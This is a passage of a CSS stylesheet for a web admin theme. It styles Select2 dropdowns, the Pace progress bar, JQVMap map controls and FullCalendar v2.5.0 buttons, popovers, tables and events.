-webkit-appearance: none;\n}\n\n.select2-dropdown {\n  background-color: white;\n  border: 2px solid #009688;\n  border-radius: 4px;\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  display: block;\n  position: absolute;\n  left: -100000px;\n  width: 100%;\n  z-index: 1051;\n}\n\n.select2-results {\n  display: block;\n}\n\n.select2-results__options {\n  list-style: none;\n  margin: 0;\n  padding: 0;\n}\n\n.select2-results__option {\n  padding: 6px;\n  -moz-user-select: none;\n   -ms-user-select: none;\n       user-select: none;\n  -webkit-user-select: none;\n}\n\n.select2-results__option[aria-selected] {\n  cursor: pointer;\n}\n\n.select2-container--open .select2-dropdown {\n  left: 0;\n}\n\n.select2-container--open .select2-dropdown--above {\n  border-bottom: none;\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.select2-container--open .select2-dropdown--below {\n  border-top: none;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.select2-search--dropdown {\n  display: block;\n  padding: 4px;\n}\n\n.select2-search--dropdown .select2-search__field {\n  padding: 4px;\n  width: 100%;\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  outline: none;\n}\n\n.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {\n  -webkit-appearance: none;\n}\n\n.select2-search--dropdown.select2-search--hide {\n  display: none;\n}\n\n.select2-close-mask {\n  border: 0;\n  margin: 0;\n  padding: 0;\n  display: block;\n  position: fixed;\n  left: 0;\n  top: 0;\n  min-height: 100%;\n  min-width: 100%;\n  height: auto;\n  width: auto;\n  opacity: 0;\n  z-index: 99;\n  background-color: #fff;\n  filter: alpha(opacity=0);\n}\n\n.select2-hidden-accessible {\n  border: 0 !important;\n  clip: rect(0 0 0 0) !important;\n  height: 1px !important;\n  margin: -1px !important;\n  overflow: hidden !important;\n  padding: 0 !important;\n  position: absolute !important;\n  width: 1px !important;\n}\n\n.select2-container--default .select2-selection--single {\n  background-color: #fff;\n  border: 2px solid #ccc;\n  border-radius: 3px;\n  outline: none;\n}\n\n.select2-container--default .select2-selection--single .select2-selection__rendered {\n  color: #444;\n  line-height: 37px;\n}\n\n.select2-container--default .select2-selection--single .select2-selection__clear {\n  cursor: pointer;\n  float: right;\n  font-weight: bold;\n}\n\n.select2-container--default .select2-selection--single .select2-selection__placeholder {\n  color: #999;\n}\n\n.select2-container--default .select2-selection--single .select2-selection__arrow {\n  height: 40px;\n  position: absolute;\n  top: 1px;\n  right: 5px;\n  width: 20px;\n}\n\n.select2-container--default .select2-selection--single .select2-selection__arrow b {\n  border-color: #888 transparent transparent transparent;\n  border-style: solid;\n  border-width: 5px 4px 0 4px;\n  height: 0;\n  left: 50%;\n  margin-left: -4px;\n  margin-top: -2px;\n  position: absolute;\n  top: 50%;\n  width: 0;\n}\n\n.select2-container--default[dir=\"rtl\"] .select2-selection--single .select2-selection__clear {\n  float: left;\n}\n\n.select2-container--default[dir=\"rtl\"] .select2-selection--single .select2-selection__arrow {\n  left: 1px;\n  right: auto;\n}\n\n.select2-container--default.select2-container--disabled .select2-selection--single {\n  background-color: #eee;\n  cursor: default;\n}\n\n.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {\n  display: none;\n}\n\n.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {\n  border-color: transparent transparent #888 transparent;\n  border-width: 0 4px 5px 4px;\n}\n\n.select2-container--default .select2-selection--multiple {\n  background-color: white;\n  border: 2px solid #ccc;\n  border-radius: 4px;\n  cursor: text;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__rendered {\n  -webkit-box-sizing: border-box;\n          box-sizing: border-box;\n  list-style: none;\n  margin: 0;\n  padding: 0 8px;\n  width: 100%;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__placeholder {\n  color: #999;\n  margin-top: 5px;\n  float: left;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__clear {\n  cursor: pointer;\n  float: right;\n  font-weight: bold;\n  margin-top: 5px;\n  margin-right: 10px;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__choice {\n  background-color: #009688;\n  color: #FFF;\n  border-radius: 3px;\n  cursor: default;\n  float: left;\n  margin-right: 6px;\n  margin-top: 6px;\n  padding: 1px 6px;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__choice__remove {\n  color: #FFF;\n  cursor: pointer;\n  display: inline-block;\n  font-weight: bold;\n  margin-right: 4px;\n}\n\n.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {\n  color: #eee;\n}\n\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice,\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__placeholder,\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-search--inline {\n  float: right;\n}\n\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\n  margin-left: 5px;\n  margin-right: auto;\n}\n\n.select2-container--default[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice__remove {\n  margin-left: 2px;\n  margin-right: auto;\n}\n\n.select2-container--default.select2-container--focus .select2-selection--multiple {\n  border-color: #009688;\n  outline: 0;\n}\n\n.select2-container--default.select2-container--disabled .select2-selection--multiple {\n  background-color: #eee;\n  cursor: default;\n}\n\n.select2-container--default.select2-container--disabled .select2-selection__choice__remove {\n  display: none;\n}\n\n.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,\n.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  border-color: #009688;\n}\n\n.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,\n.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n  border-color: #009688;\n}\n\n.select2-container--default .select2-search--dropdown .select2-search__field {\n  border: 1px solid #009688;\n  border-radius: 3px;\n}\n\n.select2-container--default .select2-search--inline .select2-search__field {\n  background: transparent;\n  border: none;\n  outline: 0;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n  -webkit-appearance: textfield;\n}\n\n.select2-container--default .select2-results > .select2-results__options {\n  max-height: 200px;\n  overflow-y: auto;\n}\n\n.select2-container--default .select2-results__option[role=group] {\n  padding: 0;\n}\n\n.select2-container--default .select2-results__option[aria-disabled=true] {\n  color: #999;\n}\n\n.select2-container--default .select2-results__option[aria-selected=true] {\n  background-color: #ddd;\n}\n\n.select2-container--default .select2-results__option .select2-results__option {\n  padding-left: 1em;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__group {\n  padding-left: 0;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__option {\n  margin-left: -1em;\n  padding-left: 2em;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\n  margin-left: -2em;\n  padding-left: 3em;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\n  margin-left: -3em;\n  padding-left: 4em;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\n  margin-left: -4em;\n  padding-left: 5em;\n}\n\n.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {\n  margin-left: -5em;\n  padding-left: 6em;\n}\n\n.select2-container--default .select2-results__option--highlighted[aria-selected] {\n  background-color: #009688;\n  color: white;\n}\n\n.select2-container--default .select2-results__group {\n  cursor: default;\n  display: block;\n  padding: 6px;\n}\n\n.select2-container--classic .select2-selection--single {\n  background-color: #f7f7f7;\n  border: 2px solid #009688;\n  border-radius: 3px;\n  outline: 0;\n  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(50%, white), to(#eeeeee));\n  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);\n  background-repeat: repeat-x;\n}\n\n.select2-container--classic .select2-selection--single:focus {\n  border: 1px solid #009688;\n}\n\n.select2-container--classic .select2-selection--single .select2-selection__rendered {\n  color: #444;\n  line-height: 28px;\n}\n\n.select2-container--classic .select2-selection--single .select2-selection__clear {\n  cursor: pointer;\n  float: right;\n  font-weight: bold;\n  margin-right: 10px;\n}\n\n.select2-container--classic .select2-selection--single .select2-selection__placeholder {\n  color: #999;\n}\n\n.select2-container--classic .select2-selection--single .select2-selection__arrow {\n  background-color: #ddd;\n  border: none;\n  border-left: 1px solid #aaa;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n  height: 26px;\n  position: absolute;\n  top: 1px;\n  right: 1px;\n  width: 20px;\n  background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(50%, #eeeeee), to(#cccccc));\n  background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);\n  background-repeat: repeat-x;\n}\n\n.select2-container--classic .select2-selection--single .select2-selection__arrow b {\n  border-color: #888 transparent transparent transparent;\n  border-style: solid;\n  border-width: 5px 4px 0 4px;\n  height: 0;\n  left: 50%;\n  margin-left: -4px;\n  margin-top: -2px;\n  position: absolute;\n  top: 50%;\n  width: 0;\n}\n\n.select2-container--classic[dir=\"rtl\"] .select2-selection--single .select2-selection__clear {\n  float: left;\n}\n\n.select2-container--classic[dir=\"rtl\"] .select2-selection--single .select2-selection__arrow {\n  border: none;\n  border-right: 1px solid #aaa;\n  border-radius: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n  left: 1px;\n  right: auto;\n}\n\n.select2-container--classic.select2-container--open .select2-selection--single {\n  border: 1px solid #009688;\n}\n\n.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {\n  background: transparent;\n  border: none;\n}\n\n.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {\n  border-color: transparent transparent #888 transparent;\n  border-width: 0 4px 5px 4px;\n}\n\n.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {\n  border-top: none;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(white), color-stop(50%, #eeeeee));\n  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);\n  background-repeat: repeat-x;\n}\n\n.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {\n  border-bottom: none;\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, color-stop(50%, #eeeeee), to(white));\n  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);\n  background-repeat: repeat-x;\n}\n\n.select2-container--classic .select2-selection--multiple {\n  background-color: white;\n  border: 1px solid #aaa;\n  border-radius: 4px;\n  cursor: text;\n  outline: 0;\n}\n\n.select2-container--classic .select2-selection--multiple:focus {\n  border: 1px solid #009688;\n}\n\n.select2-container--classic .select2-selection--multiple .select2-selection__rendered {\n  list-style: none;\n  margin: 0;\n  padding: 0 5px;\n}\n\n.select2-container--classic .select2-selection--multiple .select2-selection__clear {\n  display: none;\n}\n\n.select2-container--classic .select2-selection--multiple .select2-selection__choice {\n  background-color: #e4e4e4;\n  border: 1px solid #aaa;\n  border-radius: 4px;\n  cursor: default;\n  float: left;\n  margin-right: 5px;\n  margin-top: 5px;\n  padding: 0 5px;\n}\n\n.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {\n  color: #888;\n  cursor: pointer;\n  display: inline-block;\n  font-weight: bold;\n  margin-right: 2px;\n}\n\n.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {\n  color: #555;\n}\n\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\n  float: right;\n}\n\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice {\n  margin-left: 5px;\n  margin-right: auto;\n}\n\n.select2-container--classic[dir=\"rtl\"] .select2-selection--multiple .select2-selection__choice__remove {\n  margin-left: 2px;\n  margin-right: auto;\n}\n\n.select2-container--classic.select2-container--open .select2-selection--multiple {\n  border: 1px solid #009688;\n}\n\n.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {\n  border-top: none;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {\n  border-bottom: none;\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.select2-container--classic .select2-search--dropdown .select2-search__field {\n  border: 1px solid #aaa;\n  outline: 0;\n}\n\n.select2-container--classic .select2-search--inline .select2-search__field {\n  outline: 0;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.select2-container--classic .select2-dropdown {\n  background-color: white;\n  border: 1px solid transparent;\n}\n\n.select2-container--classic .select2-dropdown--above {\n  border-bottom: none;\n}\n\n.select2-container--classic .select2-dropdown--below {\n  border-top: none;\n}\n\n.select2-container--classic .select2-results > .select2-results__options {\n  max-height: 200px;\n  overflow-y: auto;\n}\n\n.select2-container--classic .select2-results__option[role=group] {\n  padding: 0;\n}\n\n.select2-container--classic .select2-results__option[aria-disabled=true] {\n  color: grey;\n}\n\n.select2-container--classic .select2-results__option--highlighted[aria-selected] {\n  background-color: #3875d7;\n  color: white;\n}\n\n.select2-container--classic .select2-results__group {\n  cursor: default;\n  display: block;\n  padding: 6px;\n}\n\n.select2-container--classic.select2-container--open .select2-dropdown {\n  border-color: #009688;\n}\n\n.pace {\n  pointer-events: none;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n}\n\n.pace .pace-progress {\n  background: #96000e;\n  position: fixed;\n  z-index: 2000;\n  top: 0;\n  right: 100%;\n  width: 100%;\n  height: 2px;\n}\n\n.pace .pace-progress-inner {\n  display: block;\n  position: absolute;\n  right: 0;\n  width: 100px;\n  height: 100%;\n  -webkit-box-shadow: 0 0 10px #96000e, 0 0 5px #96000e;\n          box-shadow: 0 0 10px #96000e, 0 0 5px #96000e;\n  opacity: 1;\n  -webkit-transform: rotate(3deg) translate(0px, -4px);\n      -ms-transform: rotate(3deg) translate(0px, -4px);\n          transform: rotate(3deg) translate(0px, -4px);\n}\n\n.pace-inactive {\n  display: none;\n}\n\n.jqvmap-label {\n  position: absolute;\n  display: none;\n  border-radius: 3px;\n  background: #292929;\n  color: white;\n  font-family: sans-serif, Verdana;\n  font-size: smaller;\n  padding: 3px;\n}\n\n.jqvmap-zoomin, .jqvmap-zoomout {\n  position: absolute;\n  left: 10px;\n  border-radius: 3px;\n  background: #000000;\n  padding: 3px;\n  color: white;\n  width: 18px;\n  height: 18px;\n  cursor: pointer;\n  line-height: 13px;\n  text-align: center;\n  font-size: 20px;\n}\n\n.jqvmap-zoomin {\n  top: 10px;\n}\n\n.jqvmap-zoomout {\n  top: 30px;\n}\n\n.jqvmap-region {\n  cursor: pointer;\n}\n\n.jqvmap-ajax_response {\n  width: 100%;\n  height: 500px;\n}\n\n/*!\n * FullCalendar v2.5.0 Stylesheet\n * Docs & License: http://fullcalendar.io/\n * (c) 2015 Adam Shaw\n */\n.fc {\n  direction: ltr;\n  text-align: left;\n}\n\n.fc-rtl {\n  text-align: right;\n}\n\nbody .fc {\n  /* extra precedence to overcome jqui */\n  font-size: 1em;\n}\n\n/* Colors\n--------------------------------------------------------------------------------------------------*/\n.fc-unthemed th,\n.fc-unthemed td,\n.fc-unthemed thead,\n.fc-unthemed tbody,\n.fc-unthemed .fc-divider,\n.fc-unthemed .fc-row,\n.fc-unthemed .fc-popover {\n  border-color: #ddd;\n}\n\n.fc-unthemed .fc-popover {\n  background-color: #fff;\n}\n\n.fc-unthemed .fc-divider,\n.fc-unthemed .fc-popover .fc-header {\n  background: #eee;\n}\n\n.fc-unthemed .fc-popover .fc-header .fc-close {\n  color: #666;\n}\n\n.fc-unthemed .fc-today {\n  background: rgba(0, 150, 136, 0.2);\n}\n\n.fc-highlight {\n  /* when user is selecting cells */\n  background: #bce8f1;\n  opacity: .3;\n  filter: alpha(opacity=30);\n  /* for IE */\n}\n\n.fc-bgevent {\n  /* default look for background events */\n  background: #8fdf82;\n  opacity: .3;\n  filter: alpha(opacity=30);\n  /* for IE */\n}\n\n.fc-nonbusiness {\n  /* default look for non-business-hours areas */\n  /* will inherit .fc-bgevent's styles */\n  background: #d7d7d7;\n}\n\n/* Icons (inline elements with styled text that mock arrow icons)\n--------------------------------------------------------------------------------------------------*/\n.fc-icon {\n  display: inline-block;\n  width: 1em;\n  height: 1em;\n  line-height: 1em;\n  font-size: 1em;\n  text-align: center;\n  overflow: hidden;\n  font-family: \"Courier New\", Courier, monospace;\n  /* don't allow browser text-selection */\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n/*\nAcceptable font-family overrides for individual icons:\n\t\"Arial\", sans-serif\n\t\"Times New Roman\", serif\n\nNOTE: use percentage font sizes or else old IE chokes\n*/\n.fc-icon:after {\n  position: relative;\n  margin: 0 -1em;\n  /* ensures character will be centered, regardless of width */\n}\n\n.fc-icon-left-single-arrow:after {\n  content: \"\\02039\";\n  font-weight: bold;\n  font-size: 200%;\n  top: -7%;\n  left: 3%;\n}\n\n.fc-icon-right-single-arrow:after {\n  content: \"\\0203A\";\n  font-weight: bold;\n  font-size: 200%;\n  top: -7%;\n  left: -3%;\n}\n\n.fc-icon-left-double-arrow:after {\n  content: \"\\000AB\";\n  font-size: 160%;\n  top: -7%;\n}\n\n.fc-icon-right-double-arrow:after {\n  content: \"\\000BB\";\n  font-size: 160%;\n  top: -7%;\n}\n\n.fc-icon-left-triangle:after {\n  content: \"\\25C4\";\n  font-size: 125%;\n  top: 3%;\n  left: -2%;\n}\n\n.fc-icon-right-triangle:after {\n  content: \"\\25BA\";\n  font-size: 125%;\n  top: 3%;\n  left: 2%;\n}\n\n.fc-icon-down-triangle:after {\n  content: \"\\25BC\";\n  font-size: 125%;\n  top: 2%;\n}\n\n.fc-icon-x:after {\n  content: \"\\000D7\";\n  font-size: 200%;\n  top: 6%;\n}\n\n/* Buttons (styled <button> tags, normalized to work cross-browser)\n--------------------------------------------------------------------------------------------------*/\n.fc button {\n  /* force height to include the border and padding */\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n  /* dimensions */\n  margin: 0;\n  height: 2.1em;\n  padding: 0 .6em;\n  /* text & cursor */\n  font-size: 13px;\n  /* normalize */\n  font-weight: 500;\n  white-space: nowrap;\n  cursor: pointer;\n  text-transform: uppercase;\n}\n\n/* Firefox has an annoying inner border */\n.fc button::-moz-focus-inner {\n  margin: 0;\n  padding: 0;\n}\n\n.fc-state-default {\n  /* non-theme */\n  border: 1px solid;\n}\n\n.fc-state-default.fc-corner-left {\n  /* non-theme */\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n\n.fc-state-default.fc-corner-right {\n  /* non-theme */\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n\n/* icons in buttons */\n.fc button .fc-icon {\n  /* non-theme */\n  position: relative;\n  top: -0.05em;\n  /* seems to be a good adjustment across browsers */\n  margin: 0 .2em;\n  vertical-align: middle;\n}\n\n/*\n  button states\n  borrowed from twitter bootstrap (http://twitter.github.com/bootstrap/)\n*/\n.fc-state-default {\n  background-color: #f5f5f5;\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#e6e6e6));\n  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: linear-gradient(to bottom, #ffffff, #e6e6e6);\n  background-repeat: repeat-x;\n  border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  color: #333;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n  outline: none;\n}\n\n.fc-state-hover,\n.fc-state-down,\n.fc-state-active,\n.fc-state-disabled {\n  color: #333333;\n  background-color: #e6e6e6;\n}\n\n.fc-state-hover {\n  color: #333333;\n  text-decoration: none;\n  background-position: 0 -15px;\n  -webkit-transition: background-position 0.1s linear;\n  -o-transition: background-position 0.1s linear;\n  transition: background-position 0.1s linear;\n}\n\n.fc-state-down,\n.fc-state-active {\n  background-color: #009688;\n  color: #FFF;\n  background-image: none;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n.fc-state-disabled {\n  cursor: default;\n  background-image: none;\n  opacity: 0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\n\n/* Buttons Groups\n--------------------------------------------------------------------------------------------------*/\n.fc-button-group {\n  display: inline-block;\n}\n\n/*\nevery button that is not first in a button group should scootch over one pixel and cover the\nprevious button's border...\n*/\n.fc .fc-button-group > * {\n  /* extra precedence b/c buttons have margin set to zero */\n  float: left;\n  margin: 0 0 0 -1px;\n}\n\n.fc .fc-button-group > :first-child {\n  /* same */\n  margin-left: 0;\n}\n\n/* Popover\n--------------------------------------------------------------------------------------------------*/\n.fc-popover {\n  position: absolute;\n  -webkit-box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);\n          box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);\n}\n\n.fc-popover .fc-header {\n  /* TODO: be more consistent with fc-head/fc-body */\n  padding: 2px 4px;\n}\n\n.fc-popover .fc-header .fc-title {\n  margin: 0 2px;\n}\n\n.fc-popover .fc-header .fc-close {\n  cursor: pointer;\n}\n\n.fc-ltr .fc-popover .fc-header .fc-title,\n.fc-rtl .fc-popover .fc-header .fc-close {\n  float: left;\n}\n\n.fc-rtl .fc-popover .fc-header .fc-title,\n.fc-ltr .fc-popover .fc-header .fc-close {\n  float: right;\n}\n\n/* unthemed */\n.fc-unthemed .fc-popover {\n  border-width: 1px;\n  border-style: solid;\n}\n\n.fc-unthemed .fc-popover .fc-header .fc-close {\n  font-size: .9em;\n  margin-top: 2px;\n}\n\n/* jqui themed */\n.fc-popover > .ui-widget-header + .ui-widget-content {\n  border-top: 0;\n  /* where they meet, let the header have the border */\n}\n\n/* Misc Reusable Components\n--------------------------------------------------------------------------------------------------*/\n.fc-divider {\n  border-style: solid;\n  border-width: 1px;\n}\n\nhr.fc-divider {\n  height: 0;\n  margin: 0;\n  padding: 0 0 2px;\n  /* height is unreliable across browsers, so use padding */\n  border-width: 1px 0;\n}\n\n.fc-clear {\n  clear: both;\n}\n\n.fc-bg,\n.fc-bgevent-skeleton,\n.fc-highlight-skeleton,\n.fc-helper-skeleton {\n  /* these element should always cling to top-left/right corners */\n  position: absolute;\n  top: 0;\n  left: 0;\n  right: 0;\n}\n\n.fc-bg {\n  bottom: 0;\n  /* strech bg to bottom edge */\n}\n\n.fc-bg table {\n  height: 100%;\n  /* strech bg to bottom edge */\n}\n\n/* Tables\n--------------------------------------------------------------------------------------------------*/\n.fc table {\n  width: 100%;\n  table-layout: fixed;\n  border-collapse: collapse;\n  border-spacing: 0;\n  font-size: 1em;\n  /* normalize cross-browser */\n  font-weight: 500;\n}\n\n.fc th {\n  text-align: center;\n}\n\n.fc th,\n.fc td {\n  border-style: solid;\n  border-width: 1px;\n  padding: 0;\n  vertical-align: top;\n}\n\n.fc td.fc-today {\n  border-style: double;\n  /* overcome neighboring borders */\n}\n\n/* Fake Table Rows\n--------------------------------------------------------------------------------------------------*/\n.fc .fc-row {\n  /* extra precedence to overcome themes w/ .ui-widget-content forcing a 1px border */\n  /* no visible border by default. but make available if need be (scrollbar width compensation) */\n  border-style: solid;\n  border-width: 0;\n}\n\n.fc-row table {\n  /* don't put left/right border on anything within a fake row.\n\t   the outer tbody will worry about this */\n  border-left: 0 hidden transparent;\n  border-right: 0 hidden transparent;\n  /* no bottom borders on rows */\n  border-bottom: 0 hidden transparent;\n}\n\n.fc-row:first-child table {\n  border-top: 0 hidden transparent;\n  /* no top border on first row */\n}\n\n/* Day Row (used within the header and the DayGrid)\n--------------------------------------------------------------------------------------------------*/\n.fc-row {\n  position: relative;\n}\n\n.fc-row .fc-bg {\n  z-index: 1;\n}\n\n/* highlighting cells & background event skeleton */\n.fc-row .fc-bgevent-skeleton,\n.fc-row .fc-highlight-skeleton {\n  bottom: 0;\n  /* stretch skeleton to bottom of row */\n}\n\n.fc-row .fc-bgevent-skeleton table,\n.fc-row .fc-highlight-skeleton table {\n  height: 100%;\n  /* stretch skeleton to bottom of row */\n}\n\n.fc-row .fc-highlight-skeleton td,\n.fc-row .fc-bgevent-skeleton td {\n  border-color: transparent;\n}\n\n.fc-row .fc-bgevent-skeleton {\n  z-index: 2;\n}\n\n.fc-row .fc-highlight-skeleton {\n  z-index: 3;\n}\n\n/*\nrow content (which contains day/week numbers and events) as well as \"helper\" (which contains\ntemporary rendered events).\n*/\n.fc-row .fc-content-skeleton {\n  position: relative;\n  z-index: 4;\n  padding-bottom: 2px;\n  /* matches the space above the events */\n}\n\n.fc-row .fc-helper-skeleton {\n  z-index: 5;\n}\n\n.fc-row .fc-content-skeleton td,\n.fc-row .fc-helper-skeleton td {\n  /* see-through to the background below */\n  background: none;\n  /* in case <td>s are globally styled */\n  border-color: transparent;\n  /* don't put a border between events and/or the day number */\n  border-bottom: 0;\n}\n\n.fc-row .fc-content-skeleton tbody td,\n.fc-row .fc-helper-skeleton tbody td {\n  /* don't put a border between event cells */\n  border-top: 0;\n}\n\n/* Scrolling Container\n--------------------------------------------------------------------------------------------------*/\n.fc-scroller {\n  /* this class goes on elements for guaranteed vertical scrollbars */\n  overflow-y: scroll;\n  overflow-x: hidden;\n}\n\n.fc-scroller > * {\n  /* we expect an immediate inner element */\n  position: relative;\n  /* re-scope all positions */\n  width: 100%;\n  /* hack to force re-sizing this inner element when scrollbars appear/disappear */\n  overflow: hidden;\n  /* don't let negative margins or absolute positioning create further scroll */\n}\n\n/* Global Event Styles\n--------------------------------------------------------------------------------------------------*/\n.fc-event {\n  position: relative;\n  /* for resize handle and other inner positioning */\n  display: block;\n  /* make the <a> tag block */\n  font-size: 14px;\n  padding: 5px;\n  line-height: 1.3;\n  border-radius: 3px;\n  border: 1px solid #009688;\n  background-color: #009688;\n  font-weight: normal;\n  /* undo jqui's ui-widget-header bold */\n  margin-bottom: 5px;\n  cursor: all-scroll;\n}\n\n/* overpower some of bootstrap's and jqui's styles on <a> tags */\n.fc-event,\n.fc-event:hover,\n.ui-widget .fc-event {\n  color: #fff;\n  /* default TEXT color */\n  text-decoration: none;\n  /* if <a> has an href */\n}\n\n.fc-event[href],\n.fc-event.fc-draggable {\n  cursor: pointer;\n  /* give events with links and draggable events a hand mouse pointer */\n}\n\n.fc-not-allowed,\n.fc-not-allowed .fc-event {\n  /* to override an event's custom cursor */\n  cursor: not-allowed;\n}\n\n.fc-event .fc-bg {\n  /* the generic .fc-bg already does position */\n  z-index: 1;\n  background: #fff;\n  opacity: .25;\n  filter: alpha(opacity=25);\n  /* for IE */\n}\n\n.fc-event .fc-content {\n  position: relative;\n  z-index: 2;\n}\n\n.fc-event .fc-resizer {\n  position: absolute;\n  z-index: 3;\n}\n\n/* Horizontal Events\n--------------------------------------------------------------------------------------------------*/\n/* events that are continuing to/from another week. kill rounded corners and butt up against edge */\n.fc-ltr .fc-h-event.fc-not-start,\n.fc-rtl .fc-h-event.fc-not-end {\n  margin-left: 0;\n  border-left-width: 0;\n  padding-left: 1px;\n  /* replace the border with padding */\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.fc-ltr .fc-h-event.fc-not-end,\n.fc-rtl .fc-h-event.fc-not-start {\n  margin-right: 0;\n  border-right-width: 0;\n  padding-right: 1px;\n  /* replace the border with padding */\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n/* resizer */\n.fc-h-event .fc-resizer {\n  /* positioned it to overcome the event's borders */\n  top: -1px;\n  bottom: -1px;\n  left: -1px;\n  right: -1px;\n  width: 5px;\n}\n\n/* left resizer  */\n.fc-ltr .fc-h-event .fc-start-resizer,\n.fc-ltr .fc-h-event .fc-start-resizer:before,\n.fc-ltr .fc-h-event .fc-start-resizer:after,\n.fc-rtl .fc-h-event .fc-end-resizer,\n.fc-rtl .fc-h-event .fc-end-resizer:before,\n.fc-rtl .fc-h-event .fc-end-resizer:after {\n  right: auto;\n  /* ignore the right and only use the left */\n  cursor: w-resize;\n}\n\n/* right resizer */\n.fc-ltr .fc-h-event .fc-end-resizer,\n.fc-ltr .fc-h-event .fc-end-resizer:before,\n.fc-ltr .fc-h-event .fc-end-resizer:after,\n.fc-rtl .fc-h-event .fc-start-resizer,\n.fc-rtl .fc-h-event .fc-start-resizer:before,\n.fc-rtl .fc-h-event .fc-start-resizer:after {\n  left: auto;\n  /* ignore the left and only use the right */\n  cursor: e-resize;\n}\n\n/* DayGrid events\n----------------------------------------------------------------------------------------------------\nWe use the full \"fc-day-grid-event\" class instead of using descendants because the event won't\nbe a descendant of the grid when it is being dragged.\n*/\n.fc-day-grid-event {\n  margin: 1px 2px 0;\n  /* spacing between events and edges */\n  padding: 0 1px;\n}\n\n.fc-day-grid-event .fc-content {\n  /* force events to be one-line tall */\n  white-space: nowrap;\n  overflow: hidden;\n}\n\n.fc-day-grid-event .fc-time {\n  font-weight: bold;\n}\n\n.fc-day-grid-event .fc-resizer {\n  /* enlarge the default hit area */\n  left: 